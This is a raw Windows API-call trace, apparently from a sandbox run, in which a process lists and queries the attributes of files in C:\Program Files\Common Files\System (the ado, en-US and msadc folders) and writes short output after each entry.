	[0241.357] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.357] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400)) returned 1
	[0241.358] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.358] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600)) returned 1
	[0241.361] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.361] VirtualAlloc (lpAddress=0xc0004ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004ea000
	[0241.362] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400)) returned 1
	[0241.362] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.362] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400)) returned 1
	[0241.367] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.368] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00)) returned 1
	[0241.369] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.369] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600)) returned 1
	[0241.369] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.369] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200)) returned 1
	[0241.371] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.371] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00)) returned 1
	[0241.372] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.372] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00)) returned 1
	[0241.372] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.373] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1
	[0241.373] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.373] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400)) returned 1
	[0241.377] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.377] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0241.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.377] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0241.378] VirtualAlloc (lpAddress=0xc0004ec000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004ec000
	[0241.378] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.378] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1
	[0241.379] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.379] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0241.379] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0241.379] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000)) returned 1
	[0241.383] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.383] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0241.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.383] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd4c0
	[0241.388] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.388] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1
	[0241.388] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1
	[0241.388] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0241.388] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0241.388] VirtualAlloc (lpAddress=0xc0004f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004f0000
	[0241.389] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1
	[0241.389] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1
	[0241.389] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1
	[0241.389] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1
	[0241.389] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1
	[0241.389] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1
	[0241.389] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1
	[0241.389] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1
	[0241.389] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4403ac10, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4403ac10, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4403ac10, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1
	[0241.389] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1
	[0241.389] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.389] VirtualAlloc (lpAddress=0xc0004f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004f2000
	[0241.390] FindClose (in: hFindFile=0x192c63cd4c0 | out: hFindFile=0x192c63cd4c0) returned 1
	[0241.392] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0241.392] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276)) returned 1
	[0241.396] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
